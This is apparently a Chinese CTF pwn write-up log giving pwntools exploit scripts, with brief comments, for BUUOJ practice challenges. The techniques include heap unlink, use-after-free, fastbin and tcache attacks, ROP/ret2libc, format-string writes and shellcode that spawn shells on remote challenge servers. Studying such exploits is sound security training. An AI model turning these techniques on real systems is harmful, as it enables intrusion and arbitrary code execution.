第二页

[ZJCTF 2019]EasyHeap

这里有几个点,首先要用ret把栈的地址叠高,这样防止exp覆盖函数原来的数据

第二个就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

#p=process('./pwn')
context(log_level='debug')
p=remote('node5.buuoj.cn',27294)
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']+0x16
system_plt = elf.plt['system']

def add(size,content):
p.sendlineafter(b'Your choice :',str(1))
p.sendlineafter(b'Size of Heap : ',str(size))
p.sendlineafter(b'Content of heap:',content)
p.recvuntil(b'SuccessFul')

def edit(idx,content):
p.sendlineafter(b'Your choice :',str(2))
p.sendlineafter(b'Index :',str(idx))
p.sendlineafter(b'Size of Heap : ',str(len(content)))
p.sendlineafter(b'Content of heap :',content)
p.recvuntil(b'Done !')

def delete(idx):
p.sendlineafter(b'Your choice :',str(3))
p.sendlineafter(b'Index :',str(idx))
#p.recvuntil(b'Done !')

bss=0x6020E0

#gdb.attach(p)
add(0x80,b'aaaa')
add(0x80,b'bbbb')

add(0x90,b'cccc')
add(0x90,b'/bin/sh\x00')
payload=p64(0)+p64(0x81)+p64(bss-0x18)+p64(bss-0x10)+b'M'*(0x80-0x20)
payload+=p64(0x80)+p64(0x90)

edit(0,payload)
pause()
delete(1)

payload2=p64(0)*3
payload2+=p64(free_got)+p64(puts_got)

edit(0,payload2)
payload1=p64(system_plt)
edit(0,payload1)
delete(3)
'''
leak=u64(p.recvuntil('\x7f')[-6:]+b'\x00\x00')

print(hex(leak))
libc_addr=leak-libc.sym['puts']

system=libc_addr+libc.sym['system']

payload=p64(system)

edit(0,payload)

delete(3)
'''

p.interactive()

gyctf_2020_borrowstack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *
#p=process('./pwn')
p=remote('node5.buuoj.cn',25450)
elf=ELF('./pwn')
context(log_level='debug')
leave_ret=0x400699
pop_rdi=0x0000000000400703
bss=0x601080
ret=0x4004c9
libc=ELF('./libc-2.23.so')


shell=0x4526a


main = elf.sym["main"]
puts_plt= elf.plt["puts"]
puts_got = elf.got["puts"]
#gdb.attach(p)
pause()

payload=b'a'*0x60+p64(bss)+p64(leave_ret)

p.send(payload)

payload2=p64(ret)*28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.send(payload2)
p.recvuntil(b'Done!You can check and use your borrow stack now!\n')
leak_addr = u64(p.recv(6)+b'\x00\x00')
print(hex(leak_addr))

libc_base=leak_addr-libc.sym['puts']

shell+=libc_base

payload2=b'a'*0x68+p64(shell)

p.sendline(payload2)

p.interactive()

ciscn_2019_s_9

call esp

jmp esp都行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
p=remote('node5.buuoj.cn',27684)
#p=process('./pwn')
context(arch = 'i386',os = 'linux',log_level = 'debug')

#gdb.attach(p)
#pause()


shellcode=asm('''push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx,esp
xor edx,edx
xor ecx,ecx
push 0xB
pop eax
int 0x80''')

payload=shellcode
payload=payload.ljust(0x24,b'\x00')
#payload+=asm("sub esp, 40;").ljust(0x4,b'\x90')
payload+=p32(0x8048554)
payload+=asm("sub esp,40;jmp esp")
#payload+=asm("sub esp,40;call esp")

p.sendline(payload)

p.interactive()

第三页

ciscn_2019_n_3

虽然是2.27版本的,但是漏洞利用与2.23一致,一个经典的uaf改写地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context(log_level='debug')
p=remote('node5.buuoj.cn',29247)
#p = process("./pwn")
elf = ELF("./pwn")

def add(idx,size,value):
p.sendlineafter("CNote > ","1")
p.sendlineafter("Index > ",str(idx))
p.sendlineafter("Type > ",b'2')
p.sendlineafter("Length > ",str(size))
p.sendlineafter("Value > ",value)

def delete(idx):
p.sendlineafter("CNote > ","2")
p.sendlineafter("Index > ",str(idx))

def show(idx):
p.sendlineafter("CNote > ","3")
p.sendlineafter("Index > ",str(idx))

system=0x8048500

add(1,0x40,b'aaaa')
add(2,0x40,b'bbbb')

#gdb.attach(p)
#pause()
delete(1)
delete(2)

payload=b'bash'+p32(system)

add(3,0xc,payload)

delete(1)
p.inetractive()

0ctf_2017_babyheap

详解见fastbin_attack | 鱼非愚 (yufeiyu33.github.io)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context(log_level='debug')
#p=remote('node5.buuoj.cn',25676)
p=process('./babyheap')
def debug():
gdb.attach(p)
pause()

def allo(size):
p.recvuntil(b'Command:')
p.sendline(b'1')
p.sendlineafter(b'Size:',str(size))

def fill(index,size,content):
p.recvuntil(b'Command:')
p.sendline(b'2')
p.sendlineafter(b'Index:',str(index))
p.sendlineafter(b'Size:',str(size))
p.sendafter(b'Content:',content)

def free(index):
p.recvuntil(b'Command:')
p.sendline(b'3')
p.sendlineafter(b'Index:',str(index))

def dump(index):
p.recvuntil(b'Command:')
p.sendline(b'4')
p.sendlineafter(b'Index:',str(index))
p.recvuntil(b'Content:')

def exit():
p.recvuntil(b'Command: \n')
p.sendline(b'5')

def unsorted_offset_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset


allo(0x10)
allo(0x10)
allo(0x10)
allo(0x10)
allo(0x80)
allo(0x70)
debug()
free(2)

free(1)

payload=p64(0)*3+p64(0x21)+p8(0x80)
pause()
fill(0,len(payload),payload)

payload1=b'a'*0x10+p64(0)+p64(0x21)
pause()
fill(3,len(payload1),payload1)

allo(0x10)

allo(0x10)

payload1=b'a'*0x10+p64(0)+p64(0x91)
pause()
fill(3,len(payload1),payload1)

free(4)

dump(2)
pause()
leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex((leak_addr)))

unsorted_offset_addr=unsorted_offset_arena(5)
print(hex(int(unsorted_offset_addr)))
libc_base=leak_addr-unsorted_offset_addr-0x3c4b20

print(hex(int(libc_base)))

pause()
allo(0x60)
free(4)
print(hex(int(libc_base+0x3c4aed)))

payload=p64(int(libc_base+0x3c4aed))#0x3c4aed

fill(2,len(payload),payload)

allo(0x60)
allo(0x60)

pause()
gadgets=int(libc_base+0x4526a)
payload =b'a'*0x13 + p64(gadgets)

fill(6, len(payload), payload)

allo(255)
p.interactive()

babyfengshui_33c3_2016

这题的关键是看懂题目的漏洞点,我反正开始没看出来

屏幕截图 2024-11-13 202602

这个代码的意思是我们申请的chunk的地址加上输入的长度是否长于函数接下的chunk的地址(add一个函数时会生成两个chunk)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context.log_level='debug'
p=remote('node5.buuoj.cn',28502)
#p=process('./pwn')
elf=ELF('./pwn')
#libc=ELF('/home/yfy/ctfpwn/glibc-all-in-one/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc-2.23.so')
libc=ELF('./libc-2.23.so')
free_got=elf.got['free']

def add(size,name,length,text):
p.recvuntil("Action: ")
p.sendline("0")
p.sendlineafter("size of description: ",str(size))
p.sendlineafter("name: ",name)
p.recvuntil("text length:")
p.sendline(str(length))
p.recvuntil("text:")
p.sendline(text)
def delete(index):
p.recvuntil("Action: ")
p.sendline("1")
p.recvuntil("index: ")
p.sendline(str(index))
def show(index):
p.recvuntil("Action: ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(index))
def update(index,length,text):
p.recvuntil("Action: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("text length: ")
p.sendline(str(length))
p.recvuntil("text: ")
p.sendline(text)
def debug():
gdb.attach(p)
pause()
add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
#debug()
delete(0)
add(0x100,'nam1',0x100,"cccc")

payload=b'a'*0x108+b'a'*0x8+b'a'*0x80+b'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
p.recvuntil("description: ")
free_addr=u32(p.recv(4))
#libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.sym["free"]
system_addr=libc_base+libc.sym["system"]

update(1,0x80,p32(system_addr))
delete(2)
p.interactive()

hitcon2014_stkof

pwn堆—unlink | 鱼非愚 (yufeiyu33.github.io)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p=process('./pwn')
#p=remote('node5.buuoj.cn',27761)
elf=ELF('./pwn')
atoi_got = elf.got['atoi']
libc=ELF('./libc-2.23.so')
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']



#bss=0x6021C0
bss=0x602140
def add(size):
p.sendline(str(1))
p.sendline(str(size))
p.recvuntil(b'OK')


def edit(num,content):
p.sendline(str(2))
p.sendline(str(num))
p.sendline(str(len(content)))
p.sendline(content)
p.recvuntil(b'OK')

def delete(num):
p.sendline(str(3))
p.sendline(str(num))
#p.recvuntil(b'OK')

#gdb.attach(p)

add(0x30)
add(0x80)

add(0x80)
add(0x30)
payload=p64(0)+p64(0x80)+p64(bss-0x18)+p64(bss-0x10)+b'a'*(0x80-0x20)
payload+=p64(0x80)+p64(0x90)
gdb.attach(p)
pause()
edit(2,payload)

delete(3)

payload2=b'c'*0x10
payload2+=p64(free_got)+p64(puts_got)
#payload2+=p64(free_got)+b'\x7f'+b'd'*5
edit(2,payload2)
payload1=p64(puts_plt)

edit(1,payload1)

delete(2)

leak=u64(p.recvuntil('\x7f')[-6:]+b'\x00\x00')

print(hex(leak))
libc_addr=leak-libc.sym['puts']

system=libc_addr+libc.sym['system']

payload=p64(system)

edit(1,payload)

edit(4,'/bin/sh\x00')
delete(4)

p.interactive()

mrctf2020_shellcode_revenge

要求可见字符串的shellcode,第一次看到

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')

p=remote('node5.buuoj.cn',25572)
#p=process('./pwn')
'''
shellcode=asm(shellcraft.sh())
print(shellcode)
'''
p.send(b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t')

p.interactive()

jarvisoj_level5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *
context(log_level='debug')
#p=process('./level3_x64')
p=remote('node5.buuoj.cn',26473)
elf=ELF('level3_x64')
rdi=0x4006b3
rsi_r15=0x4006b1
ret=0x400499
write_plt=elf.plt['write']
write_got=elf.got['write']
#main=elf.sym['main']
main=0x40061a

p.recvuntil(b'Input:\n')
#gdb.attach(p)
payload=b'a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main)
#pause()
p.sendline(payload)
libc_leak=u64(p.recv(8))
#libc_leak=u64(p.recv(6).strip().ljust(b'\00'))
print(hex(libc_leak))
libc = LibcSearcher("write",libc_leak)

libc_base=libc_leak-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

payload=b'a'*0x88+p64(rdi)+p64(bin_sh_addr)+p64(system_addr)
#payload=b'a'*0x88+p64(rdi)+p64(bin_sh_addr)+p64(system_addr)+p64(0)
p.sendline(payload)
p.interactive()

pwnable_hacknote

基本uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF("./pwn")
libc = ELF("./libc.so.6")
io = remote('node5.buuoj.cn',25639)
#io=process('./pwn')

put_got=myelf.got['puts']
def add(size,content):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil("size :")
io.sendline(str(size))
io.recvuntil("Content :")
io.sendline(content)
def delete(num):
io.recvuntil("choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(num))
def show(num):
io.recvuntil("choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(num))
#gdb.attach(io)
pause()
add(64,"")
add(32,"")
delete(0)
add(64,"")
pause()
pause()
show(2)

libc_base = u32(io.recv(8)[4:8])-0x1b07b0

system_addr = libc_base + libc.symbols['system']

delete(0)
delete(1)
add(8,p32(system_addr)+b";sh\x00")
show(0)

io.interactive()

mrctf2020_easy_equation

之前遇到这种格式化字符串把某个地址改成指定的值都是直接fmtstr_payload直接生成的,不过这题不行了,看来还是得自己写

解出来方程是2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')

p=remote('node5.buuoj.cn',29917)
#p=process('./pwn')
#gdb.attach(p)
pause()

#payload=b'a'+fmtstr_payload(8, {0x60105C:0x2}) 不能用
payload = b"aa%9$nAAA"+p64(0x60105c)
p.sendline(payload)

p.interactive()

ciscn_2019_es_7

这个和之前有个题一样

picoctf_2018_got_shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

#p=process('./pwn')
p=remote('node5.buuoj.cn',26671)
elf=ELF('./pwn')
puts_got=elf.got['puts']
p.recvuntil('value?')
p.sendline(hex(puts_got))



payload=hex(0x804854b)
p.sendline(payload)

p.interactive()

cmcc_pwnme2

这题的偏移搞了挺久,当时一看这个不就是一个retlibc吗,然后自信写板子,结果一直卡在一个地方,结果发现是gets下面那个函数的ret是会ret到前一个gets ebp在栈上面的位置,最后调试发现位置是0x6c

附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *

#libc=ELF('./libc-2.23.so')
#p=process('./pwn')
p=remote('node5.buuoj.cn',25747)
elf=ELF('./pwn')
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
offset=0x6c
main_addr=0x080486f8

payload=b'a'*(offset+4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
#gdb.attach(p)
#pause()
p.sendline(payload)
p.recvuntil(b'input:\n')
p.recvuntil(b'\x0a')
#p.recvuntil(b'\x0a')
#p.recvuntil(b'\x0a')
leak_addr=u32(p.recv(4))

print(hex(leak_addr))
#libc=LibcSearcher("puts",leak_addr)
#libc=ELF('/home/yfy/ctfpwn/glibc-all-in-one/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')

libc=ELF('./libc-2.23.so')

libc_base=leak_addr-libc.sym['puts']
bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))
system_addr=libc_base+libc.sym['system']

payload2=b'a'*offset+b'a'*4+p32(system_addr)+p32(main_addr)+p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()

第四页

hitcon_2018_children_tcache

详解hitcon_2018_children_tcache题解 | 鱼非愚 (yufeiyu33.github.io)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context(log_level='debug')
p=process("./pwn")
#p=remote('node5.buuoj.cn',27626)
elf=ELF("./pwn")

libc=ELF('libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def add(size,data):
p.sendlineafter(b'Your choice: ',str(1))
p.sendlineafter(b'Size:',str(size))
p.sendlineafter(b'Data',data)
def show(idx):
p.sendlineafter(b'Your choice: ',b'2')
p.sendlineafter(b'Index:',str(idx))
def free(idx):
p.sendlineafter(b'Your choice: ',b'3')
p.sendlineafter(b'Index:',str(idx))

add(0x410,b'a')
add(0x68,b'b')
add(0x4f0,b'c')
add(0x30,b'd')

free(0)
free(1)

for i in range(9):
add(0x68 - i,b's'*(0x68-i))
free(0)



add(0x68,b'a'*0x60+p64(0x490))
free(2)

#debug()
add(0x410,b'a'*1)

#debug()
show(0)

leak=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0

log.info("libc="+hex(leak))
#debug()
shell=leak+0x4f322 #0x4f2be 0x4f2c5 0x4f322 0x10a38c
free_hook=leak+libc.sym["__free_hook"]

debug()
add(0x80,b'a')
#add(0x)

free(2)
free(0)
add(0x80,p64(free_hook))
add(0x80,b'aaaa')
add(0x80,p64(shell))

free(0)

p.interactive()